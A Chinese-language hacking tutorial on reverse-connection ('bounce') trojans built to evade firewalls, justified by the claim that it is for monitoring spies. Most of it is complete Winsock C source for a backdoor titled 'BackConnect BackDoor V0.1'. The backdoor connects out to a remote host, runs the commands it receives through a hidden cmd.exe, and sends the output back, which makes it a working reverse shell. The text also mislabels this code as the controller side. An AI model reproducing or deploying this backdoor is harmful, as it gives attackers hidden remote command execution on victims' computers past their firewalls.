隨著安全事件的不斷湧現,人們的主機防護意識越來越強,各種各樣的防火牆和反病毒軟體都開始對來自外部的網路連接進行監控,所以傳統的採用正向串連的木馬已經不再適應現在的網路環境了。為了能夠繼續進行遠端控制,木馬不得不從體制上進行改變,這就出現了採用反向串連技術的。“反彈型”木馬。“反彈”木馬現在已經見得比較多了,但是對其技術細節介紹的文章還是比較少。為了監控危害我們偉大祖國的間諜分子,我們需要實現反向連結的後門
從本質上來說,反向串連和正向串連的區別並不大。在正向串連的情況下,伺服器端也就是被控制端,在編程實現的時候是採用伺服器端的編程方法的;而控制端,在編程實現的時候採用的是用戶端的編程方法。當我們採用反彈的方法編程的時候,實際上就是將被控制端變成了採用用戶端的編程方法,而將控制端變成了採用伺服器端的編程方法(Socket:不知道這樣解釋讀者朋友們能不能聽明白?反正俺是覺得雲裡霧裡)。還是通過簡單的編程執行個體來解釋一下吧,免得有人。雖然下面我給出的例子比較小,但是卻很有代表性,讀者可以從中體會到反向串連技術的實現方法。同時,對於不熟悉網路編程的讀者,也是一次促進學習的機會,可以通過這個例子來熟悉一下網路編程。
以反向串連為例,我們先來看看控制端的編程實現方法。
#include<winsock2.h>#include<stdio.h>#pragma comment(lib,"ws2_32.lib")void main(int argc,char **argv){char *messages = "\r\n======================== BackConnect BackDoor V0.1 ========================\r\n========= Welcome to Http://www.hackerxfiles.net =========\r\n"; WSADATA WSAData;SOCKET sock;SOCKADDR_IN addr_in;char buf1[1024]; //作為socket接收資料的緩衝區memset(buf1,0,1024); //清空緩衝區 if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0) { printf("WSAStartup error.Error:d\n",WSAGetLastError()); return; } addr_in.sin_family=AF_INET; addr_in.sin_port=htons(80); //反向串連的遠端主機連接埠 addr_in.sin_addr.S_un.S_addr=inet_addr("127.0.0.1"); //遠端IP if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET) { printf("Socket failed.Error:d\n",WSAGetLastError()); return; } if(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR) //串連客戶主機 { printf("Connect failed.Error:d",WSAGetLastError()); return; } if (send(sock,messages,strlen(messages),0)==SOCKET_ERROR) //發送歡迎資訊 { printf("Send failed.Error:d\n",WSAGetLastError()); return; } char buffer[2048] = {0};//管道輸出的資料for(char cmdline[270];;memset(cmdline,0,sizeof(cmdline))){SECURITY_ATTRIBUTES sa;//建立匿名管道用於取得cmd的命令輸出HANDLE hRead,hWrite;sa.nLength = sizeof(SECURITY_ATTRIBUTES);sa.lpSecurityDescriptor = NULL;sa.bInheritHandle = TRUE;if (!CreatePipe(&hRead,&hWrite,&sa,0)) { printf("Error On CreatePipe()"); return;} STARTUPINFO si;PROCESS_INFORMATION pi; si.cb = sizeof(STARTUPINFO);GetStartupInfo(&si); si.hStdError = hWrite;si.hStdOutput = hWrite;si.wShowWindow = SW_HIDE;si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;GetSystemDirectory(cmdline,MAX_PATH+1);strcat(cmdline,"\\cmd.exe /c");int len=recv(sock,buf1,1024,NULL);if(len==SOCKET_ERROR)exit(0); //如果用戶端中斷連線,則自動結束程式if(len<=1){send(sock,"error\n",sizeof("error\n"),0);continue;}strncat(cmdline,buf1,strlen(buf1)); //把命令參數複製到cmdlineif (!CreateProcess(NULL,cmdline,NULL,NULL,TRUE,NULL,NULL,NULL,&si,&pi)) { send(sock,"Error command\n",sizeof("Error command\n"),0); continue;} CloseHandle(hWrite);//迴圈讀取管道中資料並發送,直到管道中沒有資料為止for(DWORD bytesRead;ReadFile(hRead,buffer,2048,&bytesRead,NULL);memset(buffer,0,2048)){ send(sock,buffer,strlen(buffer),0);} }}